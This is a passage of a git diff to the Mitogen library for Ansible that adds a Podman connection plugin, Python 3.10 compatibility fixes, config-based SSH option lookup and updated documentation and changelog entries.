sys.modules[_class.__module__] - del _class -else: - kubectl = None - class Connection(ansible_mitogen.connection.Connection): transport = 'kubectl' @@ -66,14 +61,22 @@ class Connection(ansible_mitogen.connection.Connection): ) def __init__(self, *args, **kwargs): - if kubectl is None: - raise AnsibleConnectionFailure(self.not_supported_msg) + if not _get_result: + raise ansible.errors.AnsibleConnectionFailure(self.not_supported_msg) super(Connection, self).__init__(*args, **kwargs) def get_extra_args(self): + try: + # Ansible < 2.10, _get_result is the connection class + connection_options = _get_result.connection_options + except AttributeError: + # Ansible >= 2.10, _get_result is a get_with_context_result + connection_options = _get_result.object.connection_options parameters = [] - for key, option in iteritems(kubectl.CONNECTION_OPTIONS): - if self.get_task_var('ansible_' + key) is not None: - parameters += [ option, self.get_task_var('ansible_' + key) ] + for key in connection_options: + task_var_name = 'ansible_%s' % key + task_var = self.get_task_var(task_var_name) + if task_var is not None: + parameters += [connection_options[key], task_var] return parameters diff --git a/ansible_mitogen/plugins/connection/mitogen_local.py b/ansible_mitogen/plugins/connection/mitogen_local.py index a98c834c..6ff86733 100644 --- a/ansible_mitogen/plugins/connection/mitogen_local.py +++ b/ansible_mitogen/plugins/connection/mitogen_local.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_lxc.py b/ansible_mitogen/plugins/connection/mitogen_lxc.py index 696c9abd..8850b3d7 100644 --- a/ansible_mitogen/plugins/connection/mitogen_lxc.py +++ b/ansible_mitogen/plugins/connection/mitogen_lxc.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_lxd.py b/ansible_mitogen/plugins/connection/mitogen_lxd.py index 95e692a0..25370ef5 100644 --- a/ansible_mitogen/plugins/connection/mitogen_lxd.py +++ b/ansible_mitogen/plugins/connection/mitogen_lxd.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_machinectl.py b/ansible_mitogen/plugins/connection/mitogen_machinectl.py index 0f5a0d28..1f538797 100644 --- a/ansible_mitogen/plugins/connection/mitogen_machinectl.py +++ b/ansible_mitogen/plugins/connection/mitogen_machinectl.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_podman.py b/ansible_mitogen/plugins/connection/mitogen_podman.py new file mode 100644 index 00000000..e423aac8 --- /dev/null +++ b/ansible_mitogen/plugins/connection/mitogen_podman.py @@ -0,0 +1,46 @@ +# Copyright 2022, Mitogen contributers +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. + +from __future__ import absolute_import, division, print_function +__metaclass__ = type + +import os.path +import sys + +try: + import ansible_mitogen +except ImportError: + base_dir = os.path.dirname(__file__) + sys.path.insert(0, os.path.abspath(os.path.join(base_dir, '../../..'))) + del base_dir + +import ansible_mitogen.connection + + +class Connection(ansible_mitogen.connection.Connection): + transport = 'podman' diff --git a/ansible_mitogen/plugins/connection/mitogen_setns.py b/ansible_mitogen/plugins/connection/mitogen_setns.py index 20c6f137..4d70892f 100644 --- a/ansible_mitogen/plugins/connection/mitogen_setns.py +++ b/ansible_mitogen/plugins/connection/mitogen_setns.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_ssh.py b/ansible_mitogen/plugins/connection/mitogen_ssh.py index 1c81dae5..5a6abaa9 100644 --- a/ansible_mitogen/plugins/connection/mitogen_ssh.py +++ b/ansible_mitogen/plugins/connection/mitogen_ssh.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_su.py b/ansible_mitogen/plugins/connection/mitogen_su.py index 4ab2711e..9395cc5f 100644 --- a/ansible_mitogen/plugins/connection/mitogen_su.py +++ b/ansible_mitogen/plugins/connection/mitogen_su.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/connection/mitogen_sudo.py b/ansible_mitogen/plugins/connection/mitogen_sudo.py index 130f5445..ef549428 100644 --- a/ansible_mitogen/plugins/connection/mitogen_sudo.py +++ b/ansible_mitogen/plugins/connection/mitogen_sudo.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/strategy/mitogen.py b/ansible_mitogen/plugins/strategy/mitogen.py index 66872663..abbe7672 100644 --- a/ansible_mitogen/plugins/strategy/mitogen.py +++ b/ansible_mitogen/plugins/strategy/mitogen.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/strategy/mitogen_free.py b/ansible_mitogen/plugins/strategy/mitogen_free.py index ffe2fbd9..4f4e1f81 100644 --- a/ansible_mitogen/plugins/strategy/mitogen_free.py +++ b/ansible_mitogen/plugins/strategy/mitogen_free.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/strategy/mitogen_host_pinned.py b/ansible_mitogen/plugins/strategy/mitogen_host_pinned.py index 23eccd36..c3396c5f 100644 --- a/ansible_mitogen/plugins/strategy/mitogen_host_pinned.py +++ b/ansible_mitogen/plugins/strategy/mitogen_host_pinned.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/plugins/strategy/mitogen_linear.py b/ansible_mitogen/plugins/strategy/mitogen_linear.py index 1b198e61..b1b03aef 100644 --- a/ansible_mitogen/plugins/strategy/mitogen_linear.py +++ b/ansible_mitogen/plugins/strategy/mitogen_linear.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os.path import sys diff --git a/ansible_mitogen/process.py b/ansible_mitogen/process.py index 1fc7bf80..9276614b 100644 --- a/ansible_mitogen/process.py +++ b/ansible_mitogen/process.py @@ -26,7 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import atexit import logging import multiprocessing diff --git a/ansible_mitogen/runner.py b/ansible_mitogen/runner.py index 06402344..31ccf1cf 100644 --- a/ansible_mitogen/runner.py +++ b/ansible_mitogen/runner.py @@ -36,6 +36,9 @@ Each class in here has a corresponding Planner class in planners.py that knows how to build arguments for it, preseed related data, etc. """ +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import atexit import imp import os diff --git a/ansible_mitogen/services.py b/ansible_mitogen/services.py index 2eb3b2e4..b0f5c70e 100644 --- a/ansible_mitogen/services.py +++ b/ansible_mitogen/services.py @@ -39,18 +39,18 @@ connections, grant access to files by children, and register for notification when a child has completed a job. """ -from __future__ import absolute_import +from __future__ import absolute_import, division, print_function from __future__ import unicode_literals +__metaclass__ = type import logging import os -import os.path import sys import threading import ansible.constants -import mitogen +import mitogen.core import mitogen.service import mitogen.utils import ansible_mitogen.loaders diff --git a/ansible_mitogen/strategy.py b/ansible_mitogen/strategy.py index ddc0a5b6..0a98e316 100644 --- a/ansible_mitogen/strategy.py +++ b/ansible_mitogen/strategy.py @@ -26,8 +26,9 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import -import distutils.version +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import os import signal import threading @@ -43,52 +44,8 @@ import ansible_mitogen.loaders import ansible_mitogen.mixins import ansible_mitogen.process -import ansible import ansible.executor.process.worker - -try: - # 2.8+ has a standardized "unset" object. - from ansible.utils.sentinel import Sentinel -except ImportError: - Sentinel = None - -ANSIBLE_VERSION_MIN = (2, 10) -ANSIBLE_VERSION_MAX = (2, 10) - -NEW_VERSION_MSG = ( - "Your Ansible version (%s) is too recent. The most recent version\n" - "supported by Mitogen for Ansible is %s.x. Please check the Mitogen\n" - "release notes to see if a new version is available, otherwise\n" - "subscribe to the corresponding GitHub issue to be notified when\n" - "support becomes available.\n" - "\n" - " https://mitogen.rtfd.io/en/latest/changelog.html\n" - " https://github.com/dw/mitogen/issues/\n" -) -OLD_VERSION_MSG = ( - "Your version of Ansible (%s) is too old. The oldest version supported by " - "Mitogen for Ansible is %s." -) - - -def _assert_supported_release(): - """ - Throw AnsibleError with a descriptive message in case of being loaded into - an unsupported Ansible release. - """ - v = ansible.__version__ - if not isinstance(v, tuple): - v = tuple(distutils.version.LooseVersion(v).version) - - if v[:2] < ANSIBLE_VERSION_MIN: - raise ansible.errors.AnsibleError( - OLD_VERSION_MSG % (v, ANSIBLE_VERSION_MIN) - ) - - if v[:2] > ANSIBLE_VERSION_MAX: - raise ansible.errors.AnsibleError( - NEW_VERSION_MSG % (ansible.__version__, ANSIBLE_VERSION_MAX) - ) +import ansible.utils.sentinel def _patch_awx_callback(): @@ -99,12 +56,11 @@ def _patch_awx_callback(): # AWX uses sitecustomize.py to force-load this package. If it exists, we're # running under AWX. try: - from awx_display_callback.events import EventContext - from awx_display_callback.events import event_context + import awx_display_callback.events except ImportError: return - if hasattr(EventContext(), '_local'): + if hasattr(awx_display_callback.events.EventContext(), '_local'): # Patched version. return @@ -113,8 +69,8 @@ def _patch_awx_callback(): ctx = tls.setdefault('_ctx', {}) ctx.update(kwargs) - EventContext._local = threading.local() - EventContext.add_local = patch_add_local + awx_display_callback.events.EventContext._local = threading.local() + awx_display_callback.events.EventContext.add_local = patch_add_local _patch_awx_callback() @@ -152,6 +108,7 @@ REDIRECTED_CONNECTION_PLUGINS = ( 'lxc', 'lxd', 'machinectl', + 'podman', 'setns', 'ssh', ) @@ -323,7 +280,7 @@ class StrategyMixin(object): name=task.action, class_only=True, ) - if play_context.connection is not Sentinel: + if play_context.connection is not ansible.utils.sentinel.Sentinel: # 2.8 appears to defer computing this until inside the worker. # TODO: figure out where it has moved. ansible_mitogen.loaders.connection_loader.get( @@ -351,7 +308,6 @@ class StrategyMixin(object): Wrap :meth:`run` to ensure requisite infrastructure and modifications are configured for the duration of the call. """ - _assert_supported_release() wrappers = AnsibleWrappers() self._worker_model = self._get_worker_model() ansible_mitogen.process.set_worker_model(self._worker_model) diff --git a/ansible_mitogen/target.py b/ansible_mitogen/target.py index 652b5adc..2c65c516 100644 --- a/ansible_mitogen/target.py +++ b/ansible_mitogen/target.py @@ -33,6 +33,9 @@ Helper functions intended to be executed on the target. These are entrypoints for file transfer, module execution and sundry bits like changing file modes. """ +from __future__ import absolute_import, division, print_function +__metaclass__ = type + import errno import grp import operator @@ -51,7 +54,6 @@ import types logging = __import__('logging') import mitogen.core -import mitogen.fork import mitogen.parent import mitogen.service from mitogen.core import b @@ -144,7 +146,7 @@ def subprocess__Popen__close_fds(self, but): if ( sys.platform.startswith(u'linux') and - sys.version < u'3.0' and + sys.version_info < (3,) and hasattr(subprocess.Popen, u'_close_fds') and not mitogen.is_master ): @@ -652,7 +654,8 @@ def read_path(path): """ Fetch the contents of a filesystem `path` as bytes. """ - return open(path, 'rb').read() + with open(path, 'rb') as f: + return f.read() def set_file_owner(path, owner, group=None, fd=None): diff --git a/ansible_mitogen/transport_config.py b/ansible_mitogen/transport_config.py index 2a7a1e58..b488b851 100644 --- a/ansible_mitogen/transport_config.py +++ b/ansible_mitogen/transport_config.py @@ -26,9 +26,6 @@ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. -from __future__ import absolute_import -from __future__ import unicode_literals - """ Mitogen extends Ansible's target configuration mechanism in several ways that require some care: @@ -60,6 +57,10 @@ information from PlayContext, and another that takes (almost) all information from HostVars. """ +from __future__ import absolute_import, division, print_function +from __future__ import unicode_literals +__metaclass__ = type + import abc import os import ansible.utils.shlex @@ -354,6 +355,12 @@ class Spec(with_metaclass(abc.ABCMeta, object)): The path to the "machinectl" program for the 'setns' transport. """ + @abc.abstractmethod + def mitogen_podman_path(self): + """ + The path to the "podman" program for the 'podman' transport. + """ + @abc.abstractmethod def mitogen_ssh_keepalive_interval(self): """ @@ -451,7 +458,7 @@ class PlayContextSpec(Spec): return self._play_context.private_key_file def ssh_executable(self): - return self._play_context.ssh_executable + return C.config.get_config_value("ssh_executable", plugin_type="connection", plugin_name="ssh", variables=self._task_vars.get("vars", {})) def timeout(self): return self._play_context.timeout @@ -467,9 +474,9 @@ class PlayContextSpec(Spec): return [ mitogen.core.to_text(term) for s in ( - getattr(self._play_context, 'ssh_args', ''), - getattr(self._play_context, 'ssh_common_args', ''), - getattr(self._play_context, 'ssh_extra_args', '') + C.config.get_config_value("ssh_args", plugin_type="connection", plugin_name="ssh", variables=self._task_vars.get("vars", {})), + C.config.get_config_value("ssh_common_args", plugin_type="connection", plugin_name="ssh", variables=self._task_vars.get("vars", {})), + C.config.get_config_value("ssh_extra_args", plugin_type="connection", plugin_name="ssh", variables=self._task_vars.get("vars", {})) ) for term in ansible.utils.shlex.shlex_split(s or '') ] @@ -527,6 +534,9 @@ class PlayContextSpec(Spec): def mitogen_lxc_info_path(self): return self._connection.get_task_var('mitogen_lxc_info_path') + def mitogen_podman_path(self): + return self._connection.get_task_var('mitogen_podman_path') + def mitogen_ssh_keepalive_interval(self): return self._connection.get_task_var('mitogen_ssh_keepalive_interval') @@ -679,10 +689,7 @@ class MitogenViaSpec(Spec): ) def ssh_executable(self): - return ( - self._host_vars.get('ansible_ssh_executable') or - C.ANSIBLE_SSH_EXECUTABLE - ) + return C.config.get_config_value("ssh_executable", plugin_type="connection", plugin_name="ssh", variables=self._task_vars.get("vars", {})) def timeout(self): # TODO: must come from PlayContext too. @@ -699,22 +706,9 @@ class MitogenViaSpec(Spec): return [ mitogen.core.to_text(term) for s in ( - ( - self._host_vars.get('ansible_ssh_args') or - getattr(C, 'ANSIBLE_SSH_ARGS', None) or - os.environ.get('ANSIBLE_SSH_ARGS') - # TODO: ini entry. older versions. - ), - ( - self._host_vars.get('ansible_ssh_common_args') or - os.environ.get('ANSIBLE_SSH_COMMON_ARGS') - # TODO: ini entry. - ), - ( - self._host_vars.get('ansible_ssh_extra_args') or - os.environ.get('ANSIBLE_SSH_EXTRA_ARGS') - # TODO: ini entry. - ), + C.config.get_config_value("ssh_args", plugin_type="connection", plugin_name="ssh", variables=self._task_vars.get("vars", {})), + C.config.get_config_value("ssh_common_args", plugin_type="connection", plugin_name="ssh", variables=self._task_vars.get("vars", {})), + C.config.get_config_value("ssh_extra_args", plugin_type="connection", plugin_name="ssh", variables=self._task_vars.get("vars", {})) ) for term in ansible.utils.shlex.shlex_split(s) if s @@ -763,6 +757,9 @@ class MitogenViaSpec(Spec): def mitogen_lxc_info_path(self): return self._host_vars.get('mitogen_lxc_info_path') + def mitogen_podman_path(self): + return self._host_vars.get('mitogen_podman_path') + def mitogen_ssh_keepalive_interval(self): return self._host_vars.get('mitogen_ssh_keepalive_interval') diff --git a/ansible_mitogen/utils.py b/ansible_mitogen/utils.py new file mode 100644 index 00000000..25c5a692 --- /dev/null +++ b/ansible_mitogen/utils.py @@ -0,0 +1,14 @@ +from __future__ import absolute_import, division, print_function +__metaclass__ = type + +import distutils.version + +import ansible + +__all__ = [ + 'ansible_version', +] + +ansible_version = tuple(distutils.version.LooseVersion(ansible.__version__).version) +del distutils +del ansible diff --git a/docs/ansible_detailed.rst b/docs/ansible_detailed.rst index c9bbcf51..d3298074 100644 --- a/docs/ansible_detailed.rst +++ b/docs/ansible_detailed.rst @@ -145,9 +145,12 @@ Testimonials Noteworthy Differences ---------------------- -* Ansible 2.3-2.9 are supported along with Python 2.6, 2.7, 3.6 and 3.7. Verify - your installation is running one of these versions by checking ``ansible - --version`` output. +* Mitogen 0.2.x supports Ansible 2.3-2.9; with Python 2.6, 2.7, or 3.6. + Mitogen 0.3.1+ supports + - Ansible 2.10, 3, and 4; with Python 2.7, or 3.6-3.10 + - Ansible 5; with Python 3.8-3.10 + Verify your installation is running one of these versions by checking + ``ansible --version`` output. * The ``raw`` action executes as a regular Mitogen connection, which requires Python on the target, precluding its use for installing Python. This will be @@ -185,9 +188,9 @@ Noteworthy Differences your_ssh_username = (ALL) NOPASSWD:/usr/bin/python -c* * The :ans:conn:`~buildah`, :ans:conn:`~docker`, :ans:conn:`~jail`, - :ans:conn:`~kubectl`, :ans:conn:`~local`, :ans:conn:`~lxd`, and - :ans:conn:`~ssh` built-in connection types are supported, along with - Mitogen-specific :ref:`machinectl `, :ref:`mitogen_doas `, + :ans:conn:`~kubectl`, :ans:conn:`~local`, :ans:conn:`~lxd`, + :ans:conn:`~podman`, & :ans:conn:`~ssh` connection types are supported; also + Mitogen-specific :ref:`mitogen_doas `, :ref:`machinectl `, :ref:`mitogen_su `, :ref:`mitogen_sudo `, and :ref:`setns ` types. File bugs to register interest in others. @@ -816,6 +819,20 @@ Like the :ans:conn:`local` except connection delegation is supported. * ``ansible_python_interpreter`` +Podman +~~~~~~ + +Like :ans:conn:`podman` except connection delegation is supported. + +* ``ansible_host``: Name of container (default: inventory hostname). +* ``ansible_user``: Name of user within the container to execute as. +* ``mitogen_mask_remote_name``: if :data:`True`, mask the identity of the + Ansible controller process on remote machines. To simplify diagnostics, + Mitogen produces remote processes named like + `"mitogen:user@controller.name:1234"`, however this may be a privacy issue in + some circumstances. + + Process Model ^^^^^^^^^^^^^ diff --git a/docs/api.rst b/docs/api.rst index 7ab3274e..3dab62c1 100644 --- a/docs/api.rst +++ b/docs/api.rst @@ -95,7 +95,7 @@ Connection Methods :param str container: The name of the Buildah container to connect to. - :param str doas_path: + :param str buildah_path: Filename or complete path to the ``buildah`` binary. ``PATH`` will be searched if given as a filename. Defaults to ``buildah``. :param str username: @@ -367,6 +367,20 @@ Connection Methods Filename or complete path to the ``lxc`` binary. ``PATH`` will be searched if given as a filename. Defaults to ``lxc``. +.. currentmodule:: mitogen.parent +.. method:: Router.podman (container=None, podman_path=None, username=None, \**kwargs) + + Construct a context on the local machine over a ``podman`` invocation. + Accepts all parameters accepted by :meth:`local`, in addition to: + + :param str container: + The name of the Podman container to connect to. + :param str podman_path: + Filename or complete path to the ``podman`` binary. ``PATH`` will be + searched if given as a filename. Defaults to ``podman``. + :param str username: + Username to use, defaults to unset. + .. method:: Router.setns (container, kind, username=None, docker_path=None, lxc_info_path=None, machinectl_path=None, \**kwargs) Construct a context in the style of :meth:`local`, but change the diff --git a/docs/changelog.rst b/docs/changelog.rst index c458e399..c08a91dd 100644 --- a/docs/changelog.rst +++ b/docs/changelog.rst @@ -17,17 +17,52 @@ Release Notes To avail of fixes in an unreleased version, please download a ZIP file `directly from GitHub `_. -v0.3.0 (unreleased) --------------------- + +v0.3.3.dev0 +------------------- + +* :gh:issue:`906` Support packages dynamically inserted into sys.modules, e.g. `distro` >= 1.7.0 as `ansible.module_utils.distro`. +* :gh:issue:`918` Support Python 3.10 +* :gh:issue:`920` Support Ansible :ans:conn:`~podman` connection plugin +* :gh:issue:`836` :func:`mitogen.utils.with_router` decorator preserves the docstring in addition to the name. +* :gh:issue:`936` :ans:mod:`fetch` no longer emits `[DEPRECATION WARNING]: The '_remote_checksum()' method is deprecated.` + + +v0.3.2 (2022-01-12) +------------------- + +* :gh:issue:`891` Correct `Framework :: Ansible` Trove classifier + + +v0.3.1 (unreleased) +------------------- + +* :gh:issue:`874` Support for Ansible 5 (ansible-core 2.12) +* :gh:issue:`774` Fix bootstrap failures on macOS 11.x and 12.x, involving Python 2.7 wrapper +* :gh:issue:`834` Support for Ansible 3 and 4 (ansible-core 2.11) +* :gh:issue:`869` Continuous Integration tests are now run with Tox +* :gh:issue:`869` Continuous Integration tests now cover CentOS 6 & 8, Debian 9 & 11, Ubuntu 16.04 & 20.04 +* :gh:issue:`860` Add initial support for podman connection (w/o Ansible support yet) +* :gh:issue:`873` `python -c ...` first stage no longer uses :py:mod:`platform`` to detect the macOS release +* :gh:issue:`876` `python -c ...` first stage no longer contains tab characters, to reduce size +* :gh:issue:`878` Continuous Integration tests now correctly perform comparisons of 2 digit versions +* :gh:issue:`878` Kubectl connector fixed with Ansible 2.10 and above + + +v0.3.0 (2021-11-24) +------------------- This release separates itself from the v0.2.X releases. Ansible's API changed too much to support backwards compatibility so from now on, v0.2.X releases will be for Ansible < 2.10 and v0.3.X will be for Ansible 2.10+. `See here for details `_. +* :gh:issue:`827` NewStylePlanner: detect `ansible_collections` imports +* :gh:issue:`770` better check for supported Ansible version * :gh:issue:`731` ansible 2.10 support * :gh:issue:`652` support for ansible collections import hook +* :gh:issue:`847` Removed historic Continuous Integration reverse shell -v0.2.10 (unreleased) +v0.2.10 (2021-11-24) -------------------- * :gh:issue:`597` mitogen does not support Ansible 2.8 Python interpreter detection @@ -40,6 +75,8 @@ v0.2.10 (unreleased) timeout, when using recent OpenSSH client versions. * :gh:issue:`758` fix initilialisation of callback plugins in test suite, to address a `KeyError` in :method:`ansible.plugins.callback.CallbackBase.v2_runner_on_start` +* :gh:issue:`775` Test with Python 3.9 +* :gh:issue:`775` Add msvcrt to the default module deny list v0.2.9 (2019-11-02) diff --git a/docs/conf.py b/docs/conf.py index 1a6a117b..54e3a5c7 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -7,7 +7,7 @@ import mitogen VERSION = '%s.%s.%s' % mitogen.__version__ author = u'Network Genomics' -copyright = u'2019, Network Genomics' +copyright = u'2021, the Mitogen authors' exclude_patterns = ['_build', '.venv'] extensions = ['sphinx.ext.autodoc', 'sphinx.ext.intersphinx', 'sphinxcontrib.programoutput', 'domainrefs'] diff --git a/docs/examples.rst b/docs/examples.rst index c75d8f70..3d5738e4 100644 --- a/docs/examples.rst +++ b/docs/examples.rst @@ -201,7 +201,7 @@ nested.py: print('Connect local%d via %s' % (x, context)) context = router.local(via=context, name='local%d' % x) - context.call(os.system, 'pstree -s python -s mitogen') + context.call(subprocess.check_call, ['pstree', '-s', 'python', '-s', 'mitogen']) Output: diff --git a/docs/howitworks.rst b/docs/howitworks.rst index a856e243..6ec053c8 100644 --- a/docs/howitworks.rst +++ b/docs/howitworks.rst @@ -813,7 +813,7 @@ executes under the runtime importer lock, ensuring :py:keyword:`import` statements executing in local threads are serialized. .. note:: - + In Python 2, :py:exc:`ImportError` is raised when :py:keyword:`import` is attempted while the runtime import lock is held by another thread, therefore imports must be serialized by only attempting them from the main diff --git a/docs/index.rst b/docs/index.rst index 3cd53d32..d33cf29f 100644 --- a/docs/index.rst +++ b/docs/index.rst @@ -101,7 +101,7 @@ to your network topology**. container='billing0', ) - internal_box.call(os.system, './run-nightly-billing.py') + internal_box.call(subprocess.check_call, ['./run-nightly-billing.py']) The multiplexer also ensures the remote process is terminated if your Python program crashes, communication is lost, or the application code running in the @@ -250,7 +250,7 @@ After: """ Install our application. """ - os.system('tar zxvf app.tar.gz') + subprocess.check_call(['tar', 'zxvf', 'app.tar.gz']) context.call(install_app) @@ -258,7 +258,7 @@ Or even: .. code-block:: python - context.call(os.system, 'tar zxvf app.tar.gz') + context.call(subprocess.check_call, ['tar', 'zxvf', 'app.tar.gz']) Exceptions raised by function calls are propagated back to the parent program, and timeouts can be configured to ensure failed calls do not block progress of diff --git a/examples/install_app.py b/examples/install_app.py index 566353a8..569c168e 100644 --- a/examples/install_app.py +++ b/examples/install_app.py @@ -8,14 +8,14 @@ Usage: Where: Hostname to install to. """ -import os +import subprocess import sys import mitogen def install_app(): - os.system('tar zxvf my_app.tar.gz') + subprocess.check_call(['tar', 'zxvf', 'my_app.tar.gz']) @mitogen.main() diff --git a/mitogen/__init__.py b/mitogen/__init__.py index f18c5a90..fc3eb926 100644 --- a/mitogen/__init__.py +++ b/mitogen/__init__.py @@ -35,7 +35,7 @@ be expected. On the slave, it is built dynamically during startup. #: Library version as a tuple. -__version__ = (0, 2, 9) +__version__ = (0, 3, 3, 'dev0') #: This is :data:`False` in slave contexts. Previously it was used to prevent diff --git a/mitogen/buildah.py b/mitogen/buildah.py index f850234d..7a1e3f80 100644 --- a/mitogen/buildah.py +++ b/mitogen/buildah.py @@ -30,7 +30,6 @@ import logging -import mitogen.core import mitogen.parent diff --git a/mitogen/core.py b/mitogen/core.py index 4dd44925..bee722e6 100644 --- a/mitogen/core.py +++ b/mitogen/core.py @@ -386,6 +386,20 @@ def _partition(s, sep, find): return left, sep, s[len(left)+len(sep):] +def threading__current_thread(): + try: + return threading.current_thread() # Added in Python 2.6+ + except AttributeError: + return threading.currentThread() # Deprecated in Python 3.10+ + + +def threading__thread_name(thread): + try: + return thread.name # Added in Python 2.6+ + except AttributeError: + return thread.getName() # Deprecated in Python 3.10+ + + if hasattr(UnicodeType, 'rpartition'): str_partition = UnicodeType.partition str_rpartition = UnicodeType.rpartition @@ -1254,6 +1268,7 @@ class Importer(object): 'minify', 'os_fork', 'parent', + 'podman', 'select', 'service', 'setns', @@ -1269,6 +1284,13 @@ class Importer(object): # a negative round-trip. 'builtins', '__builtin__', + + # On some Python releases (e.g. 3.8, 3.9) the subprocess module tries + # to import of this Windows-only builtin module. + 'msvcrt', + + # Python 2.x module that was renamed to _thread in 3.x. + # This entry avoids a roundtrip on 2.x -> 3.x. 'thread', # org.python.core imported by copy, pickle, xml.sax; breaks Jython, but @@ -1349,6 +1371,16 @@ class Importer(object): fp.close() def find_module(self, fullname, path=None): + """ + Return a loader (ourself) or None, for the module with fullname. + + Implements importlib.abc.MetaPathFinder.find_module(). + Deprecrated in Python 3.4+, replaced by find_spec(). + Raises ImportWarning in Python 3.10+. + + fullname A (fully qualified?) module name, e.g. "os.path". + path __path__ of parent packge. None for a top level module. + """ if hasattr(_tls, 'running'): return None @@ -1470,6 +1502,12 @@ class Importer(object): callback() def load_module(self, fullname): + """ + Return the loaded module specified by fullname. + + Implements importlib.abc.Loader.load_module(). + Deprecated in Python 3.4+, replaced by create_module() & exec_module(). + """ fullname = to_text(fullname) _v and 